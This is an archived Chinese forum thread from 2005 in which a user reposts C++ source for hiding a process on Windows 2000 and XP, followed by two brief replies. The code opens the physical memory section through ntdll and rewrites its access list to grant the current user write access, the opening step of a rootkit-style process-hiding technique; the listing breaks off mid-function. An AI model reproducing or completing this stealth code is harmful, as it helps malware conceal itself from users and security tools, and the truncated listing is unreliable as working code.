奇奇 发表于 2005-6-4 09:08:00

[分享]在2000和xp下，隐藏进程，VC6.0测试通过

<P>转载：<a href="http://bbs.end518.com" target="_blank" ><FONT color=#000000>http://bbs.end518.com</FONT></A>    最终技术网</P>
<P>头文件：</P>
<P>//////////////////////////////////////<BR>//HideProcess.h<BR>BOOL HideProcess();</P>
<P><BR><BR>CPP源文件：<BR>/////////////////////////////////////////////////////////////////////////////<BR>//HideProcess.cpp<BR>#include&lt;windows.h&gt;<BR>#include&lt;Accctrl.h&gt;<BR>#include&lt;Aclapi.h&gt;</P>
<P>#include"HideProcess.h"</P>
<P>#define NT_SUCCESS(Status)((NTSTATUS)(Status) &gt;= 0)<BR>#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)<BR>#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)</P>
<P>typedef LONG NTSTATUS;</P>
<P>typedef struct _IO_STATUS_BLOCK <BR>{<BR>    NTSTATUS Status;<BR>    ULONG Information;<BR>} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;</P>
<P>typedef struct _UNICODE_STRING <BR>{<BR>    USHORT Length;<BR>    USHORT MaximumLength;<BR>    PWSTR Buffer;<BR>} UNICODE_STRING, *PUNICODE_STRING;</P>
<P>#define OBJ_INHERIT                0x00000002L<BR>#define OBJ_PERMANENT            0x00000010L<BR>#define OBJ_EXCLUSIVE            0x00000020L<BR>#define OBJ_CASE_INSENSITIVE    0x00000040L<BR>#define OBJ_OPENIF                0x00000080L<BR>#define OBJ_OPENLINK            0x00000100L<BR>#define OBJ_KERNEL_HANDLE      0x00000200L<BR>#define OBJ_VALID_ATTRIBUTES    0x000003F2L</P>
<P>typedef struct _OBJECT_ATTRIBUTES <BR>{<BR>    ULONG Length;<BR>    HANDLE RootDirectory;<BR>    PUNICODE_STRING ObjectName;<BR>    ULONG Attributes;<BR>    PVOID SecurityDescriptor;<BR>    PVOID SecurityQualityOfService;<BR>} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; </P>
<P>typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(<BR>    OUT PHANDLE SectionHandle,<BR>    IN ACCESS_MASK DesiredAccess,<BR>    IN POBJECT_ATTRIBUTES ObjectAttributes<BR>    );</P>
<P>typedef VOID (CALLBACK* RTLINITUNICODESTRING)(<BR>    IN OUT PUNICODE_STRING DestinationString,<BR>    IN PCWSTR SourceString<BR>    );</P>
<P>RTLINITUNICODESTRING RtlInitUnicodeString;<BR>ZWOPENSECTION ZwOpenSection;<BR>HMODULE g_hNtDLL = NULL;<BR>PVOID g_pMapPhysicalMemory = NULL;<BR>HANDLE g_hMPM = NULL;<BR>OSVERSIONINFO g_osvi;<BR>//---------------------------------------------------------------------------<BR>BOOL InitNTDLL()<BR>{<BR>    g_hNtDLL = LoadLibrary("ntdll.dll");</P>
<P>    if (NULL == g_hNtDLL)<BR>      return FALSE;</P>
<P>    RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, </P>
<P>"RtlInitUnicodeString");<BR>    ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");</P>
<P>    return TRUE;<BR>}<BR>//---------------------------------------------------------------------------<BR>VOID CloseNTDLL()<BR>{<BR>    if(NULL != g_hNtDLL)<BR>      FreeLibrary(g_hNtDLL);</P>
<P>    g_hNtDLL = NULL;<BR>}<BR>//---------------------------------------------------------------------------<BR>VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection) <BR>{ <BR>    PACL pDacl                  = NULL; <BR>    PSECURITY_DESCRIPTOR pSD    = NULL; <BR>    PACL pNewDacl = NULL; <BR>    <BR>    DWORD dwRes = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, </P>
<P>NULL, &amp;pDacl, NULL, &amp;pSD);</P>
<P>    if(ERROR_SUCCESS != dwRes)<BR>    {</P>
<P>    if(pSD) <BR>      LocalFree(pSD); <BR>    if(pNewDacl) <BR>      LocalFree(pNewDacl); <BR>    }</P>
<P>    EXPLICIT_ACCESS ea; <BR>    RtlZeroMemory(&amp;ea, sizeof(EXPLICIT_ACCESS)); <BR>    ea.grfAccessPermissions = SECTION_MAP_WRITE; <BR>    ea.grfAccessMode = GRANT_ACCESS; <BR>    ea.grfInheritance= NO_INHERITANCE; <BR>    ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME; <BR>    ea.Trustee.TrusteeType = TRUSTEE_IS_USER; <BR>    ea.Trustee.ptstrName = "CURRENT_USER"; </P>
<P>    dwRes = SetEntriesInAcl(1,&amp;ea,pDacl,&amp;pNewDacl);<BR>    <BR>    if(ERROR_SUCCESS != dwRes)<BR>    {</P>
<P>    if(pSD) <BR>      LocalFree(pSD); <BR>    if(pNewDacl) <BR>      LocalFree(pNewDacl); <BR>    }<BR>    dwRes = SetSecurityInfo</P>
<P>(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NU

showtime 发表于 2005-8-11 03:10:00

<P>头晕眼花</P>

showtime 发表于 2005-8-11 03:11:00

<P>你不会吗~~~</P>
<P>而且麻烦</P>
页: [1]
查看完整版本: [分享]在2000和xp下，隐藏进程，VC6.0测试通过